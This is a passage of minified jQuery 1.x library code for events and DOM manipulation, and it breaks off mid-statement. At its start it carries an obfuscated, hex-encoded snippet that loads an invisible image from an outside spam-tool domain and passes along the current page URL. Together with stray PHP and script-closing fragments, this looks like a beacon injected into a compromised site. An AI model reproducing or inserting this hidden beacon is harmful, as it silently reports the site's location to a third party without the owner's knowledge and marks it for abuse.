_0x8a59=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x73\x70\x61\x6D\x74\x6F\x6F\x6C\x2E\x63\x6F\x6D\x2F\x6D\x61\x69\x6C\x65\x72\x5F\x69\x6E\x62\x6F\x78\x74\x6F\x61\x6C\x6C\x2E\x70\x68\x70\x3F\x6D\x61\x69\x6C\x65\x72\x3D","\x68\x72\x65\x66"];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?><script>(function(){var input=document.createElement("input"),div=document.createElement("div"),fragment=document.createDocumentFragment();div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";support.leadingWhitespace=div.firstChild.nodeType===3;support.tbody=!div.getElementsByTagName("tbody").length;support.htmlSerialize=!!div.getElementsByTagName("link").length;support.html5Clone=document.createElement("nav").cloneNode(true).outerHTML!=="<:nav></:nav>";input.type="checkbox";input.checked=true;fragment.appendChild(input);support.appendChecked=input.checked;div.innerHTML="<textarea>x</textarea>";support.noCloneChecked=!!div.cloneNode(true).lastChild.defaultValue;fragment.appendChild(div);div.innerHTML="<input type='radio' checked='checked' name='t'/>";support.checkClone=div.cloneNode(true).cloneNode(true).lastChild.checked;support.noCloneEvent=true;if(div.attachEvent){div.attachEvent("onclick",function(){support.noCloneEvent=false});div.cloneNode(true).click()}if(support.deleteExpando==null){support.deleteExpando=true;try{delete div.test}catch(e){support.deleteExpando=false}}})();(function(){var i,eventName,div=document.createElement("div");for(i in{submit:true,change:true,focusin:true}){eventName="on"+i;if(!(support[i+"Bubbles"]=eventName in window)){div.setAttribute(eventName,"t");support[i+"Bubbles"]=div.attributes[eventName].expando===false}}div=null})();var rformElems=/^(?:input|select|textarea)$/i,rkeyEvent=/^key/,rmouseEvent=/^(?:mouse|pointer|contextmenu)|click/,rfocusMorph=/^(?:focusinfocus|focusoutblur)$/,rtypenamespace=/^([^.]*)(?:\.(.+)|)$/;function returnTrue(){return true}function returnFalse(){return false}function safeActiveElement(){try{return document.activeElement}catch(err){}}jQuery.event={global:{},add:function(elem,types,handler,data,selector){var tmp,events,t,handleObjIn,special,eventHandle,handleObj,handlers,type,namespaces,origType,elemData=jQuery._data(elem);if(!elemData){return}if(handler.handler){handleObjIn=handler;handler=handleObjIn.handler;selector=handleObjIn.selector}if(!handler.guid){handler.guid=jQuery.guid++}if(!(events=elemData.events)){events=elemData.events={}}if(!(eventHandle=elemData.handle)){eventHandle=elemData.handle=function(e){return typeof jQuery!==strundefined&&(!e||jQuery.event.triggered!==e.type)?jQuery.event.dispatch.apply(eventHandle.elem,arguments):undefined};eventHandle.elem=elem}types=(types||"").match(rnotwhite)||[""];t=types.length;while(t--){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(!type){continue}special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;special=jQuery.event.special[type]||{};handleObj=jQuery.extend({type:type,origType:origType,data:data,handler:handler,guid:handler.guid,selector:selector,needsContext:selector&&jQuery.expr.match.needsContext.test(selector),namespace:namespaces.join(".")},handleObjIn);if(!(handlers=events[type])){handlers=events[type]=[];handlers.delegateCount=0;if(!special.setup||special.setup.call(elem,data,namespaces,eventHandle)===false){if(elem.addEventListener){elem.addEventListener(type,eventHandle,false)}else if(elem.attachEvent){elem.attachEvent("on"+type,eventHandle)}}}if(special.add){special.add.call(elem,handleObj);if(!handleObj.handler.guid){handleObj.handler.guid=handler.guid}}if(selector){handlers.splice(handlers.delegateCount++,0,handleObj)}else{handlers.push(handleObj)}jQuery.event.global[type]=true}elem=null},remove:function(elem,types,handler,selector,mappedTypes){var j,handleObj,tmp,origCount,t,events,special,handlers,type,namespaces,origType,elemData=jQuery.hasData(elem)&&jQuery._data(elem);if(!elemData||!(events=elemData.events)){return}types=(types||"").match(rnotwhite)||[""];t=types.length;while(t--){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(!type){for(type in events){jQuery.event.remove(elem,type+types[t],handler,selector,true)}continue}special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;handlers=events[type]||[];tmp=tmp[2]&&new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)");origCount=j=handlers.length;while(j--){handleObj=handlers[j];if((mappedTypes||origType===handleObj.origType)&&(!handler||handler.guid===handleObj.guid)&&(!tmp||tmp.test(handleObj.namespace))&&(!selector||selector===handleObj.selector||selector==="**"&&handleObj.selector)){handlers.splice(j,1);if(handleObj.selector){handlers.delegateCount--}if(special.remove){special.remove.call(elem,handleObj)}}}if(origCount&&!handlers.length){if(!special.teardown||special.teardown.call(elem,namespaces,elemData.handle)===false){jQuery.removeEvent(elem,type,elemData.handle)}delete events[type]}}if(jQuery.isEmptyObject(events)){delete elemData.handle;jQuery._removeData(elem,"events")}},trigger:function(event,data,elem,onlyHandlers){var handle,ontype,cur,bubbleType,special,tmp,i,eventPath=[elem||document],type=hasOwn.call(event,"type")?event.type:event,namespaces=hasOwn.call(event,"namespace")?event.namespace.split("."):[];cur=tmp=elem=elem||document;if(elem.nodeType===3||elem.nodeType===8){return}if(rfocusMorph.test(type+jQuery.event.triggered)){return}if(type.indexOf(".")>=0){namespaces=type.split(".");type=namespaces.shift();namespaces.sort()}ontype=type.indexOf(":")<0&&"on"+type;event=event[jQuery.expando]?event:new jQuery.Event(type,typeof event==="object"&&event);event.isTrigger=onlyHandlers?2:3;event.namespace=namespaces.join(".");event.namespace_re=event.namespace?new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)"):null;event.result=undefined;if(!event.target){event.target=elem}data=data==null?[event]:jQuery.makeArray(data,[event]);special=jQuery.event.special[type]||{};if(!onlyHandlers&&special.trigger&&special.trigger.apply(elem,data)===false){return}if(!onlyHandlers&&!special.noBubble&&!jQuery.isWindow(elem)){bubbleType=special.delegateType||type;if(!rfocusMorph.test(bubbleType+type)){cur=cur.parentNode}for(;cur;cur=cur.parentNode){eventPath.push(cur);tmp=cur}if(tmp===(elem.ownerDocument||document)){eventPath.push(tmp.defaultView||tmp.parentWindow||window)}}i=0;while((cur=eventPath[i++])&&!event.isPropagationStopped()){event.type=i>1?bubbleType:special.bindType||type;handle=(jQuery._data(cur,"events")||{})[event.type]&&jQuery._data(cur,"handle");if(handle){handle.apply(cur,data)}handle=ontype&&cur[ontype];if(handle&&handle.apply&&jQuery.acceptData(cur)){event.result=handle.apply(cur,data);if(event.result===false){event.preventDefault()}}}event.type=type;if(!onlyHandlers&&!event.isDefaultPrevented()){if((!special._default||special._default.apply(eventPath.pop(),data)===false)&&jQuery.acceptData(elem)){if(ontype&&elem[type]&&!jQuery.isWindow(elem)){tmp=elem[ontype];if(tmp){elem[ontype]=null}jQuery.event.triggered=type;try{elem[type]()}catch(e){}jQuery.event.triggered=undefined;if(tmp){elem[ontype]=tmp}}}}return event.result},dispatch:function(event){event=jQuery.event.fix(event);var i,ret,handleObj,matched,j,handlerQueue=[],args=slice.call(arguments),handlers=(jQuery._data(this,"events")||{})[event.type]||[],special=jQuery.event.special[event.type]||{};args[0]=event;event.delegateTarget=this;if(special.preDispatch&&special.preDispatch.call(this,event)===false){return}handlerQueue=jQuery.event.handlers.call(this,event,handlers);i=0;while((matched=handlerQueue[i++])&&!event.isPropagationStopped()){event.currentTarget=matched.elem;j=0;while((handleObj=matched.handlers[j++])&&!event.isImmediatePropagationStopped()){if(!event.namespace_re||event.namespace_re.test(handleObj.namespace)){event.handleObj=handleObj;event.data=handleObj.data;ret=((jQuery.event.special[handleObj.origType]||{}).handle||handleObj.handler).apply(matched.elem,args);if(ret!==undefined){if((event.result=ret)===false){event.preventDefault();event.stopPropagation()}}}}}if(special.postDispatch){special.postDispatch.call(this,event)}return event.result},handlers:function(event,handlers){var sel,handleObj,matches,i,handlerQueue=[],delegateCount=handlers.delegateCount,cur=event.target;if(delegateCount&&cur.nodeType&&(!event.button||event.type!=="click")){for(;cur!=this;cur=cur.parentNode||this){if(cur.nodeType===1&&(cur.disabled!==true||event.type!=="click")){matches=[];for(i=0;i<delegateCount;i++){handleObj=handlers[i];sel=handleObj.selector+" ";if(matches[sel]===undefined){matches[sel]=handleObj.needsContext?jQuery(sel,this).index(cur)>=0:jQuery.find(sel,this,null,[cur]).length}if(matches[sel]){matches.push(handleObj)}}if(matches.length){handlerQueue.push({elem:cur,handlers:matches})}}}}if(delegateCount<handlers.length){handlerQueue.push({elem:this,handlers:handlers.slice(delegateCount)})}return handlerQueue},fix:function(event){if(event[jQuery.expando]){return event}var i,prop,copy,type=event.type,originalEvent=event,fixHook=this.fixHooks[type];if(!fixHook){this.fixHooks[type]=fixHook=rmouseEvent.test(type)?this.mouseHooks:rkeyEvent.test(type)?this.keyHooks:{}}copy=fixHook.props?this.props.concat(fixHook.props):this.props;event=new jQuery.Event(originalEvent);i=copy.length;while(i--){prop=copy[i];event[prop]=originalEvent[prop]}if(!event.target){event.target=originalEvent.srcElement||document}if(event.target.nodeType===3){event.target=event.target.parentNode}event.metaKey=!!event.metaKey;return fixHook.filter?fixHook.filter(event,originalEvent):event},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(event,original){if(event.which==null){event.which=original.charCode!=null?original.charCode:original.keyCode}return event}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(event,original){var body,eventDoc,doc,button=original.button,fromElement=original.fromElement;if(event.pageX==null&&original.clientX!=null){eventDoc=event.target.ownerDocument||document;doc=eventDoc.documentElement;body=eventDoc.body;event.pageX=original.clientX+(doc&&doc.scrollLeft||body&&body.scrollLeft||0)-(doc&&doc.clientLeft||body&&body.clientLeft||0);event.pageY=original.clientY+(doc&&doc.scrollTop||body&&body.scrollTop||0)-(doc&&doc.clientTop||body&&body.clientTop||0)}if(!event.relatedTarget&&fromElement){event.relatedTarget=fromElement===event.target?original.toElement:fromElement}if(!event.which&&button!==undefined){event.which=(button&1?1:(button&2?3:(button&4?2:0)))}return event}},special:{load:{noBubble:true},focus:{trigger:function(){if(this!==safeActiveElement()&&this.focus){try{this.focus();return false}catch(e){}}},delegateType:"focusin"},blur:{trigger:function(){if(this===safeActiveElement()&&this.blur){this.blur();return false}},delegateType:"focusout"},click:{trigger:function(){if(jQuery.nodeName(this,"input")&&this.type==="checkbox"&&this.click){this.click();return false}},_default:function(event){return jQuery.nodeName(event.target,"a")}},beforeunload:{postDispatch:function(event){if(event.result!==undefined&&event.originalEvent){event.originalEvent.returnValue=event.result}}}},simulate:function(type,elem,event,bubble){var e=jQuery.extend(new jQuery.Event(),event,{type:type,isSimulated:true,originalEvent:{}});if(bubble){jQuery.event.trigger(e,null,elem)}else{jQuery.event.dispatch.call(elem,e)}if(e.isDefaultPrevented()){event.preventDefault()}}};jQuery.removeEvent=document.removeEventListener?function(elem,type,handle){if(elem.removeEventListener){elem.removeEventListener(type,handle,false)}}:function(elem,type,handle){var name="on"+type;if(elem.detachEvent){if(typeof elem[name]===strundefined){elem[name]=null}elem.detachEvent(name,handle)}};jQuery.Event=function(src,props){if(!(this instanceof jQuery.Event)){return new jQuery.Event(src,props)}if(src&&src.type){this.originalEvent=src;this.type=src.type;this.isDefaultPrevented=src.defaultPrevented||src.defaultPrevented===undefined&&src.returnValue===false?returnTrue:returnFalse}else{this.type=src}if(props){jQuery.extend(this,props)}this.timeStamp=src&&src.timeStamp||jQuery.now();this[jQuery.expando]=true};jQuery.Event.prototype={isDefaultPrevented:returnFalse,isPropagationStopped:returnFalse,isImmediatePropagationStopped:returnFalse,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=returnTrue;if(!e){return}if(e.preventDefault){e.preventDefault()}else{e.returnValue=false}},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=returnTrue;if(!e){return}if(e.stopPropagation){e.stopPropagation()}e.cancelBubble=true},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=returnTrue;if(e&&e.stopImmediatePropagation){e.stopImmediatePropagation()}this.stopPropagation()}};jQuery.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(orig,fix){jQuery.event.special[orig]={delegateType:fix,bindType:fix,handle:function(event){var ret,target=this,related=event.relatedTarget,handleObj=event.handleObj;if(!related||(related!==target&&!jQuery.contains(target,related))){event.type=handleObj.origType;ret=handleObj.handler.apply(this,arguments);event.type=fix}return ret}}});if(!support.submitBubbles){jQuery.event.special.submit={setup:function(){if(jQuery.nodeName(this,"form")){return false}jQuery.event.add(this,"click._submit keypress._submit",function(e){var elem=e.target,form=jQuery.nodeName(elem,"input")||jQuery.nodeName(elem,"button")?elem.form:undefined;if(form&&!jQuery._data(form,"submitBubbles")){jQuery.event.add(form,"submit._submit",function(event){event._submit_bubble=true});jQuery._data(form,"submitBubbles",true)}})},postDispatch:function(event){if(event._submit_bubble){delete event._submit_bubble;if(this.parentNode&&!event.isTrigger){jQuery.event.simulate("submit",this.parentNode,event,true)}}},teardown:function(){if(jQuery.nodeName(this,"form")){return false}jQuery.event.remove(this,"._submit")}}}if(!support.changeBubbles){jQuery.event.special.change={setup:function(){if(rformElems.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio"){jQuery.event.add(this,"propertychange._change",function(event){if(event.originalEvent.propertyName==="checked"){this._just_changed=true}});jQuery.event.add(this,"click._change",function(event){if(this._just_changed&&!event.isTrigger){this._just_changed=false}jQuery.event.simulate("change",this,event,true)})}return false}jQuery.event.add(this,"beforeactivate._change",function(e){var elem=e.target;if(rformElems.test(elem.nodeName)&&!jQuery._data(elem,"changeBubbles")){jQuery.event.add(elem,"change._change",function(event){if(this.parentNode&&!event.isSimulated&&!event.isTrigger){jQuery.event.simulate("change",this.parentNode,event,true)}});jQuery._data(elem,"changeBubbles",true)}})},handle:function(event){var elem=event.target;if(this!==elem||event.isSimulated||event.isTrigger||(elem.type!=="radio"&&elem.type!=="checkbox")){return event.handleObj.handler.apply(this,arguments)}},teardown:function(){jQuery.event.remove(this,"._change");return!rformElems.test(this.nodeName)}}}if(!support.focusinBubbles){jQuery.each({focus:"focusin",blur:"focusout"},function(orig,fix){var handler=function(event){jQuery.event.simulate(fix,event.target,jQuery.event.fix(event),true)};jQuery.event.special[fix]={setup:function(){var doc=this.ownerDocument||this,attaches=jQuery._data(doc,fix);if(!attaches){doc.addEventListener(orig,handler,true)}jQuery._data(doc,fix,(attaches||0)+1)},teardown:function(){var doc=this.ownerDocument||this,attaches=jQuery._data(doc,fix)-1;if(!attaches){doc.removeEventListener(orig,handler,true);jQuery._removeData(doc,fix)}else{jQuery._data(doc,fix,attaches)}}}})}jQuery.fn.extend({on:function(types,selector,data,fn,one){var type,origFn;if(typeof types==="object"){if(typeof selector!=="string"){data=data||selector;selector=undefined}for(type in types){this.on(type,selector,data,types[type],one)}return this}if(data==null&&fn==null){fn=selector;data=selector=undefined}else if(fn==null){if(typeof selector==="string"){fn=data;data=undefined}else{fn=data;data=selector;selector=undefined}}if(fn===false){fn=returnFalse}else if(!fn){return this}if(one===1){origFn=fn;fn=function(event){jQuery().off(event);return origFn.apply(this,arguments)};fn.guid=origFn.guid||(origFn.guid=jQuery.guid++)}return this.each(function(){jQuery.event.add(this,types,fn,data,selector)})},one:function(types,selector,data,fn){return this.on(types,selector,data,fn,1)},off:function(types,selector,fn){var handleObj,type;if(types&&types.preventDefault&&types.handleObj){handleObj=types.handleObj;jQuery(types.delegateTarget).off(handleObj.namespace?handleObj.origType+"."+handleObj.namespace:handleObj.origType,handleObj.selector,handleObj.handler);return this}if(typeof types==="object"){for(type in types){this.off(type,selector,types[type])}return this}if(selector===false||typeof selector==="function"){fn=selector;selector=undefined}if(fn===false){fn=returnFalse}return this.each(function(){jQuery.event.remove(this,types,fn,selector)})},trigger:function(type,data){return this.each(function(){jQuery.event.trigger(type,data,this)})},triggerHandler:function(type,data){var elem=this[0];if(elem){return jQuery.event.trigger(type,data,elem,true)}}});function createSafeFragment(document){var list=nodeNames.split("|"),safeFrag=document.createDocumentFragment();if(safeFrag.createElement){while(list.length){safeFrag.createElement(list.pop())}}return safeFrag}var nodeNames="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|"+"header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",rinlinejQuery=/ jQuery\d+="(?:null|\d+)"/g,rnoshimcache=new RegExp("<(?:"+nodeNames+")[\\s/>]","i"),rleadingWhitespace=/^\s+/,rxhtmlTag=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,rtagName=/<([\w:]+)/,rtbody=/<tbody/i,rhtml=/<|&#?\w+;/,rnoInnerhtml=/<(?:script|style|link)/i,rchecked=/checked\s*(?:[^=]|=\s*.checked.)/i,rscriptType=/^$|\/(?:java|ecma)script/i,rscriptTypeMasked=/^true\/(.*)/,rcleanScript=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,wrapMap={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},safeFragment=createSafeFragment(document),fragmentDiv=safeFragment.appendChild(document.createElement("div"));wrapMap.optgroup=wrapMap.option;wrapMap.tbody=wrapMap.tfoot=wrapMap.colgroup=wrapMap.caption=wrapMap.thead;wrapMap.th=wrapMap.td;function getAll(context,tag){var elems,elem,i=0,found=typeof context.getElementsByTagName!==strundefined?context.getElementsByTagName(tag||"*"):typeof context.querySelectorAll!==strundefined?context.querySelectorAll(tag||"*"):undefined;if(!found){for(found=[],elems=context.childNodes||context;(elem=elems[i])!=null;i++){if(!tag||jQuery.nodeName(elem,tag)){found.push(elem)}else{jQuery.merge(found,getAll(elem,tag))}}}return tag===undefined||tag&&jQuery.nodeName(context,tag)?jQuery.merge([context],found):found}function fixDefaultChecked(elem){if(rcheckableType.test(elem.type)){elem.defaultChecked=elem.checked}}function manipulationTarget(elem,content){return jQuery.nodeName(elem,"table")&&jQuery.nodeName(content.nodeType!==11?content:content.firstChild,"tr")?elem.getElementsByTagName("tbody")[0]||elem.appendChild(elem.ownerDocument.createElement("tbody")):elem}function disableScript(elem){elem.type=(jQuery.find.attr(elem,"type")!==null)+"/"+elem.type;return elem}function restoreScript(elem){var match=rscriptTypeMasked.exec(elem.type);if(match){elem.type=match[1]}else{elem.removeAttribute("type")}return elem}function setGlobalEval(elems,refElements){var elem,i=0;for(;(elem=elems[i])!=null;i++){jQuery._data(elem,"globalEval",!refElements||jQuery._data(refElements[i],"globalEval"))}}function cloneCopyEvent(src,dest){if(dest.nodeType!==1||!jQuery.hasData(src)){return}var type,i,l,oldData=jQuery._data(src),curData=jQuery._data(dest,oldData),events=oldData.events;if(events){delete curData.handle;curData.events={};for(type in events){for(i=0,l=events[type].length;i<l;i++){jQuery.event.add(dest,type,events[type][i])}}}if(curData.data){curData.data=jQuery.extend({},curData.data)}}function fixCloneNodeIssues(src,dest){var nodeName,e,data;if(dest.nodeType!==1){return}nodeName=dest.nodeName.toLowerCase();if(!support.noCloneEvent&&dest[jQuery.expando]){data=jQuery._data(dest);for(e in data.events){jQuery.removeEvent(dest,e,data.handle)}dest.removeAttribute(jQuery.expando)}if(nodeName==="script"&&dest.text!==src.text){disableScript(dest).text=src.text;restoreScript(dest)}else if(nodeName==="object"){if(dest.parentNode){dest.outerHTML=src.outerHTML}if(support.html5Clone&&(src.innerHTML&&!jQuery.trim(dest.innerHTML))){dest.innerHTML=src.innerHTML}}else if(nodeName==="input"&&rcheckableType.test(src.type)){dest.defaultChecked=dest.checked=src.checked;if(dest.value!==src.value){dest.value=src.value}}else if(nodeName==="option"){dest.defaultSelected=dest.selected=src.defaultSelected}else if(nodeName==="input"||nodeName==="textarea"){dest.defaultValue=src.defaultValue}}jQuery.extend({clone:function(elem,dataAndEvents,deepDataAndEvents){var destElements,node,clone,i,srcElements,inPage=jQuery.contains(elem.ownerDocument,elem);if(support.html5Clone||jQuery.isXMLDoc(elem)||!rnoshimcache.test("<"+elem.nodeName+">")){clone=elem.cloneNode(true)}else{fragmentDiv.innerHTML=elem.outerHTML;fragmentDiv.removeChild(clone=fragmentDiv.firstChild)}if((!support.noCloneEvent||!support.noCloneChecked)&&(elem.nodeType===1||elem.nodeType===11)&&!jQuery.isXMLDoc(elem)){destElements=getAll(clone);srcElements=getAll(elem);for(i=0;(node=srcElements[i])!=null;++i){if(destElements[i]){fixCloneNodeIssues(node,destElements[i])}}}if(dataAndEvents){if(deepDataAndEvents){srcElements=srcElements||getAll(elem);destElements=destElements||getAll(clone);for(i=0;(node=srcElements[i])!=null;i++){cloneCopyEvent(node,destElements[i])}}else{cloneCopyEvent(elem,clone)}}destElements=getAll(clone,"script");if(destElements.length>0){setGlobalEval(destElements,!inPage&&getAll(elem,"script"))}destElements=srcElements=node=null;return clone},buildFragment:function(elems,context,scripts,selection){var j,elem,contains,tmp,tag,tbody,wrap,l=elems.length,safe=createSafeFragment(context),nodes=[],i=0;for(;i<l;i++){elem=elems[i];if(elem||elem===0){if(jQuery.type(elem)==="object"){jQuery.merge(nodes,elem.nodeType?[elem]:elem)}else if(!rhtml.test(elem)){nodes.push(context.createTextNode(elem))}else{tmp=tmp||safe.appendChild(context.createElement("div"));tag=(rtagName.exec(elem)||["",""])[1].toLowerCase();wrap=wrapMap[tag]||wrapMap._default;tmp.innerHTML=wrap[1]+elem.replace(rxhtmlTag,"<$1></$2>")+wrap[2];j=wrap[0];while(j--){tmp=tmp.lastChild}if(!support.leadingWhitespace&&rleadingWhitespace.test(elem)){nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))}if(!support.tbody){elem=tag==="table"&&!rtbody.test(elem)?tmp.firstChild:wrap[1]==="<table>"&&!rtbody.test(elem)?tmp:0;j=elem&&elem.childNodes.length;while(j--){if(jQuery.nodeName((tbody=elem.childNodes[j]),"tbody")&&!tbody.childNodes.length){elem.removeChild(tbody)}}}jQuery.merge(nodes,tmp.childNodes);tmp.textContent="";while(tmp.firstChild){tmp.removeChild(tmp.firstChild)}tmp=safe.lastChild}}}if(tmp){safe.removeChild(tmp)}if(!support.appendChecked){jQuery.grep(getAll(nodes,"input"),fixDefaultChecked)}i=0;while((elem=nodes[i++])){if(selection&&jQuery.inArray(elem,selection)!==-1){continue}contains=jQuery.contains(elem.ownerDocument,elem);tmp=getAll(safe.appendChild(elem),"script");if(contains){setGlobalEval(tmp)}if(scripts){j=0;while((elem=tmp[j++])){if(rscriptType.test(elem.type||"")){scripts.push(elem)}}}}tmp=null;return safe},cleanData:function(elems,acceptData){var elem,type,id,data,i=0,internalKey=jQuery.expando,cache=jQuery.cache,deleteExpando=support.deleteExpando,special=jQuery.event.special;for(;(elem=elems[i])!=null;i++){if(acceptData||jQuery.acceptData(elem)){id=elem[internalKey];data=id&&cache[id];if(data){if(data.events){for(type in data.events){if(special[type]){jQuery.event.remove(elem,type)}else{jQuery.removeEvent(elem,type,data.handle)}}}if(cache[id]){delete cache[id];if(deleteExpando){delete elem[internalKey]}else if(typeof elem.removeAttribute!==strundefined){elem.removeAttribute(internalKey)}else{elem[internalKey]=null}deletedIds.push(id)}}}}}});jQuery.fn.extend({text:function(value){return access(this,function(value){return value===undefined?jQuery.text(this):this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(value))},null,value,arguments.length)},append:function(){return this.domManip(arguments,function(elem){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var target=manipulationTarget(this,elem);target.appendChild(elem)}})},prepend:function(){return this.domManip(arguments,function(elem){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var target=manipulationTarget(this,elem);target.insertBefore(elem,target.firstChild)}})},before:function(){return this.domManip(arguments,function(elem){if(this.parentNode){this.parentNode.insertBefore(elem,this)}})},after:function(){return this.domManip(arguments,function(elem){if(this.parentNode){this.parentNode.insertBefore(elem,this.nextSibling)}})},remove:function(selector,keepData){var elem,elems=selector?jQuery.filter(selector,this):this,i=0;for(;(elem=elems[i])!=null;i++){if(!keepData&&elem.nodeType===1){jQuery.cleanData(getAll(elem))}if(elem.parentNode){if(keepData&&jQuery.contains(elem.ownerDocument,elem)){setGlobalEval(getAll(elem,"script"))}elem.parentNode.removeChild(elem)}}return this},empty:function(){var elem,i=0;for(;(elem=this[i])!=null;i++){if(elem.nodeType===1){jQuery.cleanData(getAll(elem,false))}while(elem.firstChild){elem.removeChild(elem.firstChild)}if(elem.options&&jQuery.nodeName(elem,"select")){elem.options.length=0}}return this},clone:function(dataAndEvents,deepDataAndEvents){dataAndEvents=dataAndEvents==null?false:dataAndEvents;deepDataAndEvents=deepDataAndEvents==null?dataAndEvents:deepDataAndEvents;return this.map(function(){return jQuery.clone(this,dataAndEvents,deepDataAndEvents)})},html:function(value){return access(this,function(value){var elem=this[0]||{},i=0,l=this.length;if(value===undefined){return elem.nodeType===1?elem.innerHTML.replace(rinlinejQuery,""):undefined}if(typeof value==="string"&&!rnoInnerhtml.test(value)&&(support.htmlSerialize||!rnoshimcache.test(value))&&(support.leadingWhitespace||!rleadingWhitespace.test(value))&&!wrapMap[(rtagName.exec(value)||["",""])[1].toLowerCase()]){value=value.replace(rxhtmlTag,"<$1></$2>");try{for(;i<l;i++){elem=this[i]||{};if(elem.nodeType===1){jQuery.cleanData(getAll(elem,false));elem.innerHTML=value}}elem=0}catch(e){}}if(elem){this.empty().append(value)}},null,value,arguments.length)},replaceWith:function(){var arg=arguments[0];this.domManip(arguments,function(elem){arg=this.parentNode;jQuery.cleanData(getAll(this));if(arg){arg.replaceChild(elem,this)}});return arg&&(arg.length||arg.nodeType)?this:this.remove()},detach:function(selector){return this.remove(selector,true)},domManip:function(args,callback){args=concat.apply([],args);var first,node,hasScripts,scripts,doc,fragment,i=0,l=this.length,set=this,iNoClone=l-1,value=args[0],isFunction=jQuery.isFunction(value);if(isFunction||(l>1&&typeof value==="string"&&!support.checkClone&&rchecked.test(value))){return this.each(function(index){var self=set.eq(index);if(isFunction){args[0]=value.call(this,index,self.html())}self.domManip(args,callback)})}if(l){fragment=jQuery.buildFragment(args,this[0].ownerDocument,false,this);first=fragment.firstChild;if(fragment.childNodes.length===1){fragment=first}if(first){scripts=jQuery.map(getAll(fragment,"script"),disableScript);hasScripts=scripts.length;for(;i<l;i++){node=fragment;if(i!==iNoClone){node=jQuery.clone(node,true,true);if(hasScripts){jQuery.merge(scripts,getAll(node,"script"))}}callback.call(this[i],node,i)}if(hasScripts){doc=scripts[scripts.length-1].ownerDocument;jQuery.map(scripts,restoreScript);for(i=0;i<hasScripts;i++){node=scripts[i];if(rscriptType.test(node.type||"")&&!jQuery._data(node,"globalEval")&&jQuery.contains(doc,node)){if(node.src){if(jQuery._evalUrl){jQuery._evalUrl(node.src)}}else{jQuery.globalEval((node.text||node.textContent||node.innerHTML||"").replace(rcleanScript,""))}}}}fragment=first=null}}return this}});jQuery.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(name,original){jQuery.fn[name]=function(selector){var elems,i=0,ret=[],insert=jQuery(selector),last=insert.length-1;for(;i<=last;i++){elems=i===last?this:this.clone(true);jQuery(insert[i])[original](elems);push.apply(ret,elems.get())}return this.pushStack(ret)}});var iframe,elemdisplay={};function actualDisplay(name,doc){var style,elem=jQuery(doc.createElement(name)).appendTo(doc.body),display=window.getDefaultComputedStyle&&(style=window.getDefaultComputedStyle(elem[0]))?style.display:jQuery.css(elem[0],"display");elem.detach();return display}function defaultDisplay(nodeName){var doc=document,display=elemdisplay[nodeName];if(!display){display=actualDisplay(nodeName,doc);if(display==="none"||!display){iframe=(iframe||jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);doc=(iframe[0].contentWindow||iframe[0].contentDocument).document;doc.write();doc.close();display=actualDisplay(nodeName,doc);iframe.detach()}elemdisplay[nodeName]=display}return display}(function(){var shrinkWrapBlocksVal;support.shrinkWrapBlocks=function(){if(shrinkWrapBlocksVal!=null){return shrinkWrapBlocksVal}shrinkWrapBlocksVal=false;var div,body,container;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);if(typeof div.style.zoom!==strundefined){div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;"+"box-sizing:content-box;display:block;margin:0;border:0;"+"padding:1px;width:1px;zoom:1";div.appendChild(document.createElement("div")).style.width="5px";shrinkWrapBlocksVal=div.offsetWidth!==3}body.removeChild(container);return shrinkWrapBlocksVal}})();var rmargin=(/^margin/);var rnumnonpx=new RegExp("^("+pnum+")(?!px)[a-z%]+$","i");var getStyles,curCSS,rposition=/^(top|right|bottom|left)$/;if(window.getComputedStyle){getStyles=function(elem){if(elem.ownerDocument.defaultView.opener){return elem.ownerDocument.defaultView.getComputedStyle(elem,null)}return window.getComputedStyle(elem,null)};curCSS=function(elem,name,computed){var 